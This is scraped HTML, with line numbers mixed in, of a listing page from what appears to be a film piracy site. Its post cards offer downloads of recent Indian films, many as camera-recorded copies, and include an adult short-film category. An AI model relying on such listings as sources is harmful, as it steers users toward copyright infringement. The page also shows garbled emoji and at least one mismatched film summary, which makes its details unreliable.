class="menu-item menu-item-type-custom menu-item-object-custom menu-item-has-children menu-item-3909"><a href=""><span class="menu-title"><span class="css_prefix-menu-item-title">Pagination Style</span><span class="toggledrop icon-arrow-down"></span></span></a><ul class="sub-menu"><li id="menu-item-3912" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-3912"><a href="https://fridaymasti.com/blog-pagination/"><span class="menu-title"><span class="css_prefix-menu-item-title">Blog Pagination</span></span></a></li><li id="menu-item-3911" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-3911"><a href="https://fridaymasti.com/blog-load-more/"><span class="menu-title"><span class="css_prefix-menu-item-title">Blog Load More</span></span></a></li><li id="menu-item-3910" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-3910"><a href="https://fridaymasti.com/blog-infinite-scroll/"><span class="menu-title"><span class="css_prefix-menu-item-title">Blog Infinite Scroll</span></span></a></li></ul></li></ul></li><li id="menu-item-3913" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-has-children menu-item-3913"><a href="https://fridaymasti.com/shop/"><span class="menu-title"><span class="css_prefix-menu-item-title">Shop</span><span class="toggledrop icon-arrow-down"></span></span></a><ul class="sub-menu"><li id="menu-item-3914" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-3914"><a href="https://fridaymasti.com/cart/"><span class="menu-title"><span class="css_prefix-menu-item-title">
319Cart</span></span></a></li><li id="menu-item-3915" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-3915"><a href="https://fridaymasti.com/checkout/"><span class="menu-title"><span class="css_prefix-menu-item-title">Checkout</span></span></a></li><li id="menu-item-3917" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-3917"><a href="https://fridaymasti.com/wishlist/"><span class="menu-title"><span class="css_prefix-menu-item-title">Wishlist</span></span></a></li><li id="menu-item-3916" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-3916"><a href="https://fridaymasti.com/my-account/"><span class="menu-title"><span class="css_prefix-menu-item-title">My Account</span></span></a></li></ul></li><li id="menu-item-6387" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-6387"><a href="https://fridaymasti.com/tv-shows-page/"><span class="menu-title"><span class="css_prefix-menu-item-title">TV Shows</span></span></a></li></ul></nav> </div> 320 </div> 321 </div> 322 </div> 323 </nav> 324 325 <!-- Right-side content (header-right) --> 326 327<div class="css_prefix-header-right d-flex align-items-center gap-2"> 328 <ul class="list-inline d-flex align-items-center gap-3 gap-md-4 mb-0 ps-0 justify-content-md-end justify-content-between"> 329
330 <!-- Search Panel: Only display if not on the search results page --> 331 <li class="nav-item dropdown dropdown-search-wrapper"> 332 <div class="search-box position-relative"> 333 <a href="#" class="nav-link p-0" id="st-search-drop" aria-label="Search"> 334 <span class="btn-icon btn-sm rounded-pill btn-action"> 335 <span class="btn-inner"> 336 <svg class="icon-20" width="20" viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg"> 337 <circle cx="11.7669" cy="11.7666" r="8.98856" stroke="currentColor" stroke-width="1.5" stroke-linecap="round" stroke-linejoin="round"></circle> 338 <path d="M18.0186 18.4851L21.5426 22" stroke="currentColor" stroke-width="1.5" stroke-linecap="round" stroke-linejoin="round"></path> 339 </svg> 340 </span> 341 </span> 342 </a> 343 344 <!-- Dropdown menu for search input --> 345 <ul id="header_search_input" class="dropdown-menu p-0 dropdown-search m-0 css_prefix-search-bar"> 346 <li class="p-0"> 347 <div class="form-group input-group mb-0"> 348 <!-- Search button --> 349 <button type="submit" id="search-button" class="search-submit input-group-text border-0" aria-label="Submit search"> 350 <svg class="icon-15" width="15" viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg"> 351 <circle cx="11.7669" cy="11.7666" r="8.98856" stroke="currentColor" stroke-width="1.5" stroke-linecap="round" stroke-linejoin="round"></circle> 352 <path d="M18.0186 18.4851L21.5426 22" stroke="currentColor" stroke-width="1.5" stroke-linecap="round" stroke-linejoin="round"></path> 353 </svg> 354 </button> 355 356 357 <!-- Search input field --> 358 <input type="text" value="" id="search-query" class="form-control border-0" placeholder="Search"> 359 </div> 360 </li> 361 </ul> 362 363 <!-- Section for search results --> 364 <div class="search_result_section"></div> 365 </div> 366</li> 367 <!-- User Mini Cart --> 368 369 <!-- User Account --> 370 <li class="nav-item flex-shrink-0 dropdown dropdown-user-wrapper"> 371 372 <a class="btn btn-primary py-2 px-3" href="https://fridaymasti.com/login/"> 373 <span class="d-flex align-items-center justify-content-center gap-2"> 374 <span>Login</span> 375 </span> 376 </a> 377 378 <div class="dropdown-menu dropdown-menu-end dropdown-user-menu border border-gray-900"> 379 <div class="user-dropdown-inner"> 380 381 382 </div> 383 384 385 386 <a href="https://fridaymasti.com/wp-login.php?action=logout&redirect_to=https%3A%2F%2Ffridaymasti.com&_wpnonce=1e650ea45b" class="btn btn-link p-3 d-block font-size-14 text-center text-decoration-none border-top"> 387 <span class="d-flex align-items-center justify-content-center gap-2 fw-medium"> 388 <i class="icon-logout"></i> 389 Logout </span> 390 </a> 391 </div> 392 393 </li> 394 395 </ul> 396 <!-- Mobile toggle button for the offcanvas menu --> 397 <button class="menu-toggle-button btn btn-link d-block d-xl-none" type="button" data-bs-toggle="offcanvas" data-bs-target="#staticBackdrop" aria-controls="staticBackdrop"> 398 <i class="icon-bar-line"></i> 399 </button> 400 </div> </div> 401 </div> 402</header> 403 404<!-- Layout component --> 405 406<div class="rtl-switcher-box d-none d-md-block"> 407 <!-- Button to trigger the RTL Switcher --> 408 <a class="btn btn-icon btn-setting" id="settingbutton" data-bs-toggle="offcanvas" data-bs-target="#rtl-switcher-options" role="button"> 409 <i class="icon-setting"></i> </a> 410 411 <!-- Offcanvas for RTL Switcher Options --> 412 <div class="offcanvas offcanvas-end rtl-switcher-options" tabindex="-1" id="rtl-switcher-options" data-bs-scroll="true" data-bs-backdrop="true"> 413 <div class="offcanvas-body"> 414 <!-- Close Button --> 415 <button type="button" class="btn-close" data-bs-dismiss="offcanvas" aria-label="Close"> 416 <i class="icon-cross"></i> </button> 417 418 <!-- RTL / LTR Mode Selection --> 419 <div class="modes"> 420 <div class="mode-option"> 421 <input type="radio" value="ltr" class="btn-check" name="theme_scheme_direction" id="theme-scheme-direction-ltr"> 422 <label class="btn-box" for="theme-scheme-direction-ltr"> 423 LTR </label> 424 </div> 425 <div class="mode-option"> 426 <input type="radio" value="rtl" class="btn-check" name="theme_scheme_direction" id="theme-scheme-direction-rtl"> 427 <label class="btn-box" for="theme-scheme-direction-rtl"> 428 RTL </label> 429 </div> 430 </div> 431 </div> 432 </div> 433</div> 434<div class="toast" id="stToastMessage" role="alert" aria-live="assertive" aria-atomic="true"> 435 <div class="toast-body" id="toastMessage"> 436 </div> 437</div><div class="page-content"> 438 439 <div class="site-content-contain">
440 <div id="content" class="site-content"> 441 <div class="css_prefix-breadcrumb css_prefix-breadcrumb-style-one"> 442 <div class="container"> 443 <div class="row align-items-center justify-content-center text-center"> 444 <div class="col-sm-12"> 445 <nav aria-label="breadcrumb" class="css_prefix-breadcrumb-nav"> 446 <ol class="breadcrumb main-bg justify-content-center"><li class="breadcrumb-item"><a href="https://fridaymasti.com">Home</a></li><li class="breadcrumb-item active">Blogs</li></ol> </nav> 447 </div> 448 </div> 449 </div> 450 </div> 451 <div id="primary" class="content-area"> 452 <main id="main" class="site-main"> 453 <div class="container"> 454 <div class="row css_prefix-card-wrapper "> 455 <div class="col-xl-8 css_prefix-blog-main-list"><div class="data-listing row gy-4 row-cols-2 row-cols-sm-2 row-cols-md-3"><div class="col"> 456 <article id="post-7133" class="post-7133 post type-post status-publish format-standard has-post-thumbnail hentry category-hindi-movies"> 457 <div class="css_prefix-blog-box"> <div class="css_prefix-blog-media"> 458 <a class="post-thumbnail" href="https://fridaymasti.com/rustom-2016-hindi-movie-webdl-watch-online-or-download/" aria-hidden="true"> 459 <img src="https://fridaymasti.com/wp-content/uploads/2026/09/r.webp" alt="Rustom (2016) Hindi Movie.WEBDL Watch online or Download." loading="lazy" /> </a> 460 </div> 461 <div class="css_prefix-blog-detail"> 462 463<div class="css_prefix-blog-meta"> 464 <ul class="list-inline"> 465 466 <li class="css_prefix-blog-category"><a href="https://fridaymasti.com/category/hindi-movies/" title="Hindi Movies">Hindi Movies</a></li> 467 </ul> 468</div><h3 class="entry-title"><a href="https://fridaymasti.com/rustom-2016-hindi-movie-webdl-watch-online-or-download/" rel="bookmark">Rustom (2016) Hindi Movie.WEBDL Watch online or Download.</a></h3><p>Rustom (2016) Hindi Movie.WEBDL ð¬ Genre: Crime, Drama, Thriller, ð£ï¸ Language: Hindi ðº Quality: WEBRip ð¥ï¸ Resolution: 720p STORY Rustom, a naval officer, shares a happy relationship with his wife Cynthia. Soon, he discovers her affair with Vikram, a close friend, and is accused of murdering him. ð© Download Links ð© TRAILER</p> 469<a class="btn btn-link " href="https://fridaymasti.com/rustom-2016-hindi-movie-webdl-watch-online-or-download/" ><span>Read More</span></a> </div> 470 </div> </article> 471</div> 472<div class="col"> 473 <article id="post-7114" class="post-7114 post type-post status-publish format-standard has-post-thumbnail hentry category-bengali-movies category-tranding-movies"> 474 <div class="css_prefix-blog-box"> <div class="css_prefix-blog-media"> 475 <a class="post-thumbnail" href="https://fridaymasti.com/daktra-kaku-2026-bengali-movie-download-watch-online-hq-hdtc-3/" aria-hidden="true"> 476 <img src="https://fridaymasti.com/wp-content/uploads/2026/09/1582-2.jpg" alt="Daktra Kaku (2026) Bengali Movie Download Watch Online HQ-HDTC" loading="lazy" /> </a> 477 </div> 478 <div class="css_prefix-blog-detail"> 479 480<div class="css_prefix-blog-meta"> 481 <ul class="list-inline"> 482 483 <li class="css_prefix-blog-category"><a href="https://fridaymasti.com/category/bengali-movies/" title="Bengali Movies">Bengali Movies,</a></li><li class="css_prefix-blog-category"><a href="https://fridaymasti.com/category/tranding-movies/" title="Tranding Movies">Tranding Movies</a></li> 484 </ul> 485</div><h3 class="entry-title"><a href="https://fridaymasti.com/daktra-kaku-2026-bengali-movie-download-watch-online-hq-hdtc-3/" rel="bookmark">Daktra Kaku (2026) Bengali Movie Download Watch Online HQ-HDTC</a></h3><p>Daktra Kaku (2026) â IMDB: 8.6/10 ð¬ Genre: Drama || Thriller ð£ï¸ Language: Bengali ðº Quality: HQ-HDTC ð¥ï¸ Resolution: 480p ,720p, 1080p ð Released: 18, Sep 2026 â±ï¸ Duration : 2h 10m ð Storyline A doctor and his son follow different ideals while working in their profession, which creates conflict. Whether the two give up their stubborn beliefs and unites for […]</p> 486<a class="btn btn-link " href="https://fridaymasti.com/daktra-kaku-2026-bengali-movie-download-watch-online-hq-hdtc-3/" ><span>Read More</span></a>
486 </div> 487 </div> </article> 488</div> 489<div class="col"> 490 <article id="post-7102" class="post-7102 post type-post status-publish format-standard has-post-thumbnail hentry category-hindi-movies category-tranding-movies"> 491 <div class="css_prefix-blog-box"> <div class="css_prefix-blog-media"> 492 <a class="post-thumbnail" href="https://fridaymasti.com/haiwaan-2026-hindi-movie-download-watch-online-v3-hdtc/" aria-hidden="true"> 493 <img src="https://fridaymasti.com/wp-content/uploads/2026/09/1392-2.jpg" alt="Haiwaan (2026) Hindi Movie Download Watch Online V3-HDTC" loading="lazy" /> </a> 494 </div> 495 <div class="css_prefix-blog-detail"> 496 497<div class="css_prefix-blog-meta"> 498 <ul class="list-inline"> 499 500 <li class="css_prefix-blog-category"><a href="https://fridaymasti.com/category/hindi-movies/" title="Hindi Movies">Hindi Movies,</a></li><li class="css_prefix-blog-category"><a href="https://fridaymasti.com/category/tranding-movies/" title="Tranding Movies">Tranding Movies</a></li> 501 </ul> 502</div><h3 class="entry-title"><a href="https://fridaymasti.com/haiwaan-2026-hindi-movie-download-watch-online-v3-hdtc/" rel="bookmark">Haiwaan (2026) Hindi Movie Download Watch Online V3-HDTC</a></h3><p>Haiwaan (2026) Release Year : 11, Sep 2026IMDB Rating : N/ALanguage : HindiVideo Quality : 480p, 720p, 1080pDuration : 2h 40m Haiwaan (2026) Hindi Movie Download V3-HDTC in 480p, 720p & 1080p ð¥ Screenshot ð¥ ð© Download Links ð© How to Download</p> 503<a class="btn btn-link " href="https://fridaymasti.com/haiwaan-2026-hindi-movie-download-watch-online-v3-hdtc/" ><span>Read More</span></a> </div> 504 </div> </article> 505</div> 506<div class="col"> 507 <article id="post-7096" class="post-7096 post type-post status-publish format-standard has-post-thumbnail hentry category-panjabi-movies category-tranding-movies"> 508 <div class="css_prefix-blog-box"> <div class="css_prefix-blog-media"> 509 <a class="post-thumbnail" href="https://fridaymasti.com/singh-vs-kaur-2-2026-punjabi-movie-download-watch-online-hdtc/" aria-hidden="true"> 510 <img src="https://fridaymasti.com/wp-content/uploads/2026/09/1396-scaled-1.jpg" alt="Singh vs Kaur 2 (2026) Punjabi Movie Download Watch Online HDTC" loading="lazy" /> </a> 511 </div> 512 <div class="css_prefix-blog-detail"> 513 514<div class="css_prefix-blog-meta"> 515 <ul class="list-inline"> 516 517 <li class="css_prefix-blog-category"><a href="https://fridaymasti.com/category/panjabi-movies/" title="Panjabi Movies">Panjabi Movies,</a></li><li class="css_prefix-blog-category"><a href="https://fridaymasti.com/category/tranding-movies/" title="Tranding Movies">Tranding Movies</a></li> 518 </ul> 519</div><h3 class="entry-title"><a href="https://fridaymasti.com/singh-vs-kaur-2-2026-punjabi-movie-download-watch-online-hdtc/" rel="bookmark">Singh vs Kaur 2 (2026) Punjabi Movie Download Watch Online HDTC</a></h3><p>Singh vs Kaur 2 (2026) Release Year : 11, September 2026IMDB Rating : N/ALanguage : PunjabiVideo Quality : 480p, 720p, 1080pDuration : 2h 20m Singh vs Kaur 2 (2026) Hindi Movie Download HDTC in 480p, 720p & 1080p ð¥ Screenshot ð¥ ð© Download Links ð© How to Download</p> 520<a class="btn btn-link " href="https://fridaymasti.com/singh-vs-kaur-2-2026-punjabi-movie-download-watch-online-hdtc/" ><span>Read More</span></a> </div> 521 </div> </article> 522</div> 523<div class="col"> 524 <article id="post-7093" class="post-7093 post type-post status-publish format-standard has-post-thumbnail hentry category-telugu-movies category-tranding-movies"> 525 <div class="css_prefix-blog-box"> <div class="css_prefix-blog-media"> 526 <a class="post-thumbnail" href="https://fridaymasti.com/sardar-2-2026-telugu-movie-download-watch-online-v2-hdtc/" aria-hidden="true"> 527 <img src="https://fridaymasti.com/wp-content/uploads/2026/09/1394.jpg" alt="Sardar 2 (2026) Telugu Movie Download Watch Online V2-HDTC" loading="lazy" /> </a> 528 </div> 529 <div class="css_prefix-blog-detail"> 530 531<div class="css_prefix-blog-meta"> 532 <ul class="list-inline"> 533 534 <li class="css_prefix-blog-category"><a href="https://fridaymasti.com/category/telugu-movies/" title="Telugu Movies">Telugu Movies,</a></li><li class="css_prefix-blog-category"><a href="https://fridaymasti.com/category/tranding-movies/" title="Tranding Movies">Tranding Movies</a></li> 535 </ul> 536</div><h3 class="entry-title"><a href="https://fridaymasti.com/sardar-2-2026-telugu-movie-download-watch-online-v2-hdtc/" rel="bookmark">Sardar 2 (2026) Telugu Movie Download Watch Online V2-HDTC</a></h3><p>Sardar 2 (2026) Release Year : 10, Sep 2026IMDB Rating : N/ALanguage : HindiVideo Quality : 480p, 720p, 1080pDuration : 2h 50m Sardar 2 (2026) Telugu Movie Download V2-HDTC in 480p, 720p & 1080p ð¥ Screenshot ð¥ ð© Download Links ð© How to Download</p> 537<a class="btn btn-link " href="https://fridaymasti.com/sardar-2-2026-telugu-movie-download-watch-online-v2-hdtc/" ><span>Read More</span></a>
537 </div> 538 </div> </article> 539</div> 540<div class="col"> 541 <article id="post-7090" class="post-7090 post type-post status-publish format-standard has-post-thumbnail hentry category-bengali-movies category-tranding-movies"> 542 <div class="css_prefix-blog-box"> <div class="css_prefix-blog-media"> 543 <a class="post-thumbnail" href="https://fridaymasti.com/maya-satya-bhram-2026-bengali-movie-download-watch-online-hdtc-hq/" aria-hidden="true"> 544 <img src="https://fridaymasti.com/wp-content/uploads/2026/09/1151.jpg" alt="Maya Satya Bhram (2026) Bengali Movie Download Watch Online HDTC-HQ" loading="lazy" /> </a> 545 </div> 546 <div class="css_prefix-blog-detail"> 547 548<div class="css_prefix-blog-meta"> 549 <ul class="list-inline"> 550 551 <li class="css_prefix-blog-category"><a href="https://fridaymasti.com/category/bengali-movies/" title="Bengali Movies">Bengali Movies,</a></li><li class="css_prefix-blog-category"><a href="https://fridaymasti.com/category/tranding-movies/" title="Tranding Movies">Tranding Movies</a></li> 552 </ul> 553</div><h3 class="entry-title"><a href="https://fridaymasti.com/maya-satya-bhram-2026-bengali-movie-download-watch-online-hdtc-hq/" rel="bookmark">Maya Satya Bhram (2026) Bengali Movie Download Watch Online HDTC-HQ</a></h3><p>Maya Satya Bhram (2026) Release Year: 28, Aug 2026IMDB Rating : N/ALanguage : BengaliVideo Quality : 480p, 720p, 1080pDuration: 2h 14m Maya Satya Bhram (2026) Bengali Movie Download HDTC-HQ in 480p, 720p & 1080p ð¥ Screenshot ð¥ ð© Download Links ð© How to Download</p> 554<a class="btn btn-link " href="https://fridaymasti.com/maya-satya-bhram-2026-bengali-movie-download-watch-online-hdtc-hq/" ><span>Read More</span></a> </div> 555 </div> </article> 556</div> 557<div class="col"> 558 <article id="post-7087" class="post-7087 post type-post status-publish format-standard has-post-thumbnail hentry category-adults-18 category-hot-short-films-18"> 559 <div class="css_prefix-blog-box"> <div class="css_prefix-blog-media"> 560 <a class="post-thumbnail" href="https://fridaymasti.com/hijabi-girls-story-2026-english-adult-short-film-movie-download-watch-online-web-dl/" aria-hidden="true"> 561 <img src="https://fridaymasti.com/wp-content/uploads/2026/09/1092.webp" alt="Hijabi GirlâS Story (2026) English Adult Short Film Movie Download Watch Online WEB-DL" loading="lazy" /> </a> 562 </div> 563 <div class="css_prefix-blog-detail"> 564 565<div class="css_prefix-blog-meta"> 566 <ul class="list-inline"> 567 568 <li class="css_prefix-blog-category"><a href="https://fridaymasti.com/category/adults-18/" title="Adults 18+">Adults 18+,</a></li><li class="css_prefix-blog-category"><a href="https://fridaymasti.com/category/hot-short-films-18/" title="Hot Short Films 18+">Hot Short Films 18+</a></li> 569 </ul> 570</div><h3 class="entry-title"><a href="https://fridaymasti.com/hijabi-girls-story-2026-english-adult-short-film-movie-download-watch-online-web-dl/" rel="bookmark">Hijabi GirlâS Story (2026) English Adult Short Film Movie Download Watch Online WEB-DL</a></h3><p>Hijabi GirlâS Story (2026) Release Year: 2026IMDB Rating : N/ALanguage : EnglishVideo Quality : 480p, 720p, 1080p Hijabi GirlâS Story (2026) English Short Film Download WEB-DL in 480p, 720p & 1080p ð¥ Screenshot ð¥ ð© Download Links ð© How to Download</p> 571<a class="btn btn-link " href="https://fridaymasti.com/hijabi-girls-story-2026-english-adult-short-film-movie-download-watch-online-web-dl/" ><span>Read More</span></a> </div> 572 </div> </article> 573</div> 574<div class="col"> 575 <article id="post-7084" class="post-7084 post type-post status-publish format-standard has-post-thumbnail hentry category-hindi-dubbed"> 576 <div class="css_prefix-blog-box"> <div class="css_prefix-blog-media"> 577 <a class="post-thumbnail" href="https://fridaymasti.com/vishwanath-sons-2026-hindi-esub-movie-download-watch-online-web-dl/" aria-hidden="true"> 578 <img src="https://fridaymasti.com/wp-content/uploads/2026/09/729-scaled-1.jpg" alt="Vishwanath & Sons (2026) Hindi (Esub) Movie Download Watch Online WEB-DL" loading="lazy" /> </a> 579 </div> 580 <div class="css_prefix-blog-detail"> 581 582<div class="css_prefix-blog-meta"> 583 <ul class="list-inline"> 584 585 <li class="css_prefix-blog-category"><a href="https://fridaymasti.com/category/hindi-dubbed/" title="Hindi Dubbed">Hindi Dubbed</a></li> 586 </ul> 587</div><h3 class="entry-title"><a href="https://fridaymasti.com/vishwanath-sons-2026-hindi-esub-movie-download-watch-online-web-dl/" rel="bookmark">Vishwanath & Sons (2026) Hindi (Esub) Movie Download Watch Online WEB-DL</a></h3><p>Vishwanath & Sons (2026) Release Year: 14, Aug 2026IMDB Rating : N/ALanguage : TamilVideo Quality : 480p, 720p, 1080pDuration: 2h 41m Vishwanath & Sons (2026) Tamil Movie Download WEB-DL in 480p, 720p & 1080p ð¥ Screenshot ð¥ ð© Download Links ð© How to Download</p> 588<a class="btn btn-link " href="https://fridaymasti.com/vishwanath-sons-2026-hindi-esub-movie-download-watch-online-web-dl/" ><span>Read More</span></a>
588 </div> 589 </div> </article> 590</div> 591<div class="col"> 592 <article id="post-7081" class="post-7081 post type-post status-publish format-standard has-post-thumbnail hentry category-bengali-movies category-tranding-movies"> 593 <div class="css_prefix-blog-box"> <div class="css_prefix-blog-media"> 594 <a class="post-thumbnail" href="https://fridaymasti.com/winkle-twinkle-2026-bengali-movie-download-watch-online-v3-hdtc/" aria-hidden="true"> 595 <img src="https://fridaymasti.com/wp-content/uploads/2026/09/z-Ibylg-WM0r-Sdp-Kkv5jy76QXfw-KU.jpg" alt="Winkle Twinkle (2026) Bengali Movie Download Watch Online V2-HDTC" loading="lazy" /> </a> 596 </div> 597 <div class="css_prefix-blog-detail"> 598 599<div class="css_prefix-blog-meta"> 600 <ul class="list-inline"> 601 602 <li class="css_prefix-blog-category"><a href="https://fridaymasti.com/category/bengali-movies/" title="Bengali Movies">Bengali Movies,</a></li><li class="css_prefix-blog-category"><a href="https://fridaymasti.com/category/tranding-movies/" title="Tranding Movies">Tranding Movies</a></li> 603 </ul> 604</div><h3 class="entry-title"><a href="https://fridaymasti.com/winkle-twinkle-2026-bengali-movie-download-watch-online-v3-hdtc/" rel="bookmark">Winkle Twinkle (2026) Bengali Movie Download Watch Online V2-HDTC</a></h3><p>Winkle Twinkle (2026) Release Year : 04, Sep 2026IMDB Rating : N/ALanguage : BengaliVideo Quality : 480p, 720p, 1080pDuration : 2h 15m Winkle Twinkle (2026) Bengali Movie Download V3-HDTC in 480p, 720p & 1080p ð¥ Screenshot ð¥ ð© Download Links ð© How to Download</p> 605<a class="btn btn-link " href="https://fridaymasti.com/winkle-twinkle-2026-bengali-movie-download-watch-online-v3-hdtc/" ><span>Read More</span></a> </div> 606 </div> </article> 607</div> 608<div class="col"> 609 <article id="post-7060" class="post-7060 post type-post status-publish format-standard has-post-thumbnail hentry category-bengali-movies category-hoichoi"> 610 <div class="css_prefix-blog-box"> <div class="css_prefix-blog-media"> 611 <a class="post-thumbnail" href="https://fridaymasti.com/eken-babu-2026-purulia-e-pakrao-bengali-movie-download-watch-online-webdl-completesession-9/" aria-hidden="true"> 612 <img src="https://fridaymasti.com/wp-content/uploads/2026/09/MV5BYzlkOWJlMDctNmY2OS00Y2Q2LTg0Y2ItMTkyZjRkY2I0ZjdiXkEyXkFqcGc@._V1_QL75_UY281_CR110190281_-2.jpg" alt="Eken Babu (2026) ( Purulia-e Pakrao )Bengali Movie Download Watch Online WEBDL CompleteSession 9" loading="lazy" /> </a> 613 </div> 614 <div class="css_prefix-blog-detail"> 615 616<div class="css_prefix-blog-meta"> 617 <ul class="list-inline"> 618 619 <li class="css_prefix-blog-category"><a href="https://fridaymasti.com/category/bengali-movies/" title="Bengali Movies">Bengali Movies,</a></li><li class="css_prefix-blog-category"><a href="https://fridaymasti.com/category/hoichoi/" title="Hoichoi">Hoichoi</a></li> 620 </ul> 621</div><h3 class="entry-title"><a href="https://fridaymasti.com/eken-babu-2026-purulia-e-pakrao-bengali-movie-download-watch-online-webdl-completesession-9/" rel="bookmark">Eken Babu (2026) ( Purulia-e Pakrao )Bengali Movie Download Watch Online WEBDL CompleteSession 9</a></h3><p>â IMDB : 7.7/10 ð¬Â Genre : Action, Thriller ð£ï¸ Language : Bengali ðº Quality : WEB-DL ð¥ï¸Â Resolution : 720p ð Released : 2026 â±ï¸ Duration : complete session ð Storyline/Plot : Eken Babu is not your average, middle-aged Bengali man. He is Ekendra Sen, a detective extraordinaire who effortlessly cracks complex cases in his own quirky style. And wherever a […]</p> 622<a class="btn btn-link " href="https://fridaymasti.com/eken-babu-2026-purulia-e-pakrao-bengali-movie-download-watch-online-webdl-completesession-9/" ><span>Read More</span></a> </div> 623 </div> </article> 624</div> 625<div class="col"> 626 <article id="post-7058" class="post-7058 post type-post status-publish format-standard has-post-thumbnail hentry category-hindi-movies category-tranding-movies"> 627 <div class="css_prefix-blog-box"> <div class="css_prefix-blog-media"> 628 <a class="post-thumbnail" href="https://fridaymasti.com/mirzapur-the-movie-2026-hindi-movie-download-watch-online-hdtc/" aria-hidden="true"> 629 <img src="https://fridaymasti.com/wp-content/uploads/2026/09/1304-2.
629jpg" alt="Mirzapur: The Movie (2026) Hindi Movie Download Watch Online V2-HDTC" loading="lazy" /> </a> 630 </div> 631 <div class="css_prefix-blog-detail"> 632 633<div class="css_prefix-blog-meta"> 634 <ul class="list-inline"> 635 636 <li class="css_prefix-blog-category"><a href="https://fridaymasti.com/category/hindi-movies/" title="Hindi Movies">Hindi Movies,</a></li><li class="css_prefix-blog-category"><a href="https://fridaymasti.com/category/tranding-movies/" title="Tranding Movies">Tranding Movies</a></li> 637 </ul> 638</div><h3 class="entry-title"><a href="https://fridaymasti.com/mirzapur-the-movie-2026-hindi-movie-download-watch-online-hdtc/" rel="bookmark">Mirzapur: The Movie (2026) Hindi Movie Download Watch Online V2-HDTC</a></h3><p>Mirzapur: The Movie (2026) Release Year: 04, Sep 2026IMDB Rating : N/ALanguage HindiVideo Quality : 480p, 720p, 1080pDuration: 3h 02m Mirzapur: The Movie (2026) Hindi Movie Download V03-HDTC HQ in 480p, 720p & 1080p ð¥ Screenshot ð¥ ð© Download Links ð© How to Download</p> 639<a class="btn btn-link " href="https://fridaymasti.com/mirzapur-the-movie-2026-hindi-movie-download-watch-online-hdtc/" ><span>Read More</span></a> </div> 640 </div> </article> 641</div> 642<div class="col"> 643 <article id="post-7035" class="post-7035 post type-post status-publish format-standard has-post-thumbnail hentry category-english-movies-dubbing-in-bengali"> 644 <div class="css_prefix-blog-box"> <div class="css_prefix-blog-media"> 645 <a class="post-thumbnail" href="https://fridaymasti.com/gamer-2009-blu-ray-dual-audio-hindi-english-movie-download-watch-online-web-dl/" aria-hidden="true"> 646 <img src="https://fridaymasti.com/wp-content/uploads/2026/08/776.webp" alt="Gamer (2009) Blu Ray Dual Audio {Hindi English} Movie Download Watch Online WEB-DL" loading="lazy" /> </a> 647 </div> 648 <div class="css_prefix-blog-detail"> 649 650<div class="css_prefix-blog-meta"> 651 <ul class="list-inline"> 652 653 <li class="css_prefix-blog-category"><a href="https://fridaymasti.com/category/english-movies-dubbing-in-bengali/" title="English Movie ( Dubbed in Hindi )">English Movie ( Dubbed in Hindi )</a></li> 654 </ul> 655</div><h3 class="entry-title"><a href="https://fridaymasti.com/gamer-2009-blu-ray-dual-audio-hindi-english-movie-download-watch-online-web-dl/" rel="bookmark">Gamer (2009) Blu Ray Dual Audio {Hindi English} Movie Download Watch Online WEB-DL</a></h3><p>Top Gunner: America Vs. Russia (2023) Release Year: 2023IMDB Rating : N/ALanguage : Hindi EnglishVideo Quality : 480p, 720p, 1080pDuration: 2h 32m Emergency Room(2015) Bengali Dubbed Movie Download WEB-DL in 480p, 720p & 1080p ð¥ Screenshot ð¥ ð© Download Links ð© How to Download</p> 656<a class="btn btn-link " href="https://fridaymasti.com/gamer-2009-blu-ray-dual-audio-hindi-english-movie-download-watch-online-web-dl/" ><span>Read More</span></a> </div> 657 </div> </article> 658</div> 659</div></div> <div class="col-lg-4 col-sm-12 mt-5 mt-xl-0 sidebar-service-right"> 660 <aside id="secondary" class="primary-sidebar widget-area"> 661 <h2 class="screen-reader-text">Asides</h2> 662 <div id="block-7" class="widget widget_block widget_search"><form role="search" method="get" action="https://fridaymasti.com/" class="wp-block-search__button-outside wp-block-search__text-button wp-block-search" ><label class="wp-block-search__label" for="wp-block-search__input-1" >Search</label><div class="wp-block-search__inside-wrapper" ><input class="wp-block-search__input" id="wp-block-search__input-1" placeholder="" value="" type="search" name="s" required /><button aria-label="Search" class="wp-block-search__button wp-element-button" type="submit" >Search</button></div></form></div><div id="block-8" class="widget widget_block"> 663<div class="wp-block-group"><div class="wp-block-group__inner-container is-layout-constrained wp-block-group-is-layout-constrained"> 664<h2 class="wp-block-heading">Recent Posts</h2> 665 666 667 668 <div class="wp-block-uagb-post-grid uagb-post-grid uagb-post__image-position-top uagb-post__image-enabled uagb-block-bd688aa2 uagb-post__items uagb-post__columns-1
668is-grid uagb-post__columns-tablet-2 uagb-post__columns-mobile-1 uagb-post__equal-height" data-total="31" style=""> 669 670 <article class="uagb-post__inner-wrap"> <div class='uagb-post__image'> 671 <a href="https://fridaymasti.com/rustom-2016-hindi-movie-webdl-watch-online-or-download/" target="_self" rel="bookmark noopener noreferrer" class='uagb-image-ratio-inherit'><img fetchpriority="high" decoding="async" width="683" height="1024" src="https://fridaymasti.com/wp-content/uploads/2026/09/r-683x1024.webp" class="attachment-large size-large" alt="" srcset="https://fridaymasti.com/wp-content/uploads/2026/09/r-683x1024.webp 683w, https://fridaymasti.com/wp-content/uploads/2026/09/r-200x300.webp 200w, https://fridaymasti.com/wp-content/uploads/2026/09/r-768x1152.webp 768w, https://fridaymasti.com/wp-content/uploads/2026/09/r-600x900.webp 600w, https://fridaymasti.com/wp-content/uploads/2026/09/r.webp 1000w" sizes="(max-width: 683px) 100vw, 683px" /> </a> 672 </div> 673 <h4 class="uagb-post__title uagb-post__text"> 674 <a href="https://fridaymasti.com/rustom-2016-hindi-movie-webdl-watch-online-or-download/" target="_self" rel="bookmark noopener noreferrer">Rustom (2016) Hindi Movie.WEBDL Watch online or Download.</a> 675 </h4> 676 <div class='uagb-post__text uagb-post-grid-byline'> 677 <time datetime="" class="uagb-post__date"> 678 <span class="dashicons-calendar dashicons"></span> </time> 679 <span class="uagb-post__comment"> 680 <span class="dashicons-admin-comments dashicons"></span> No Comments </span> 681 </div> 682 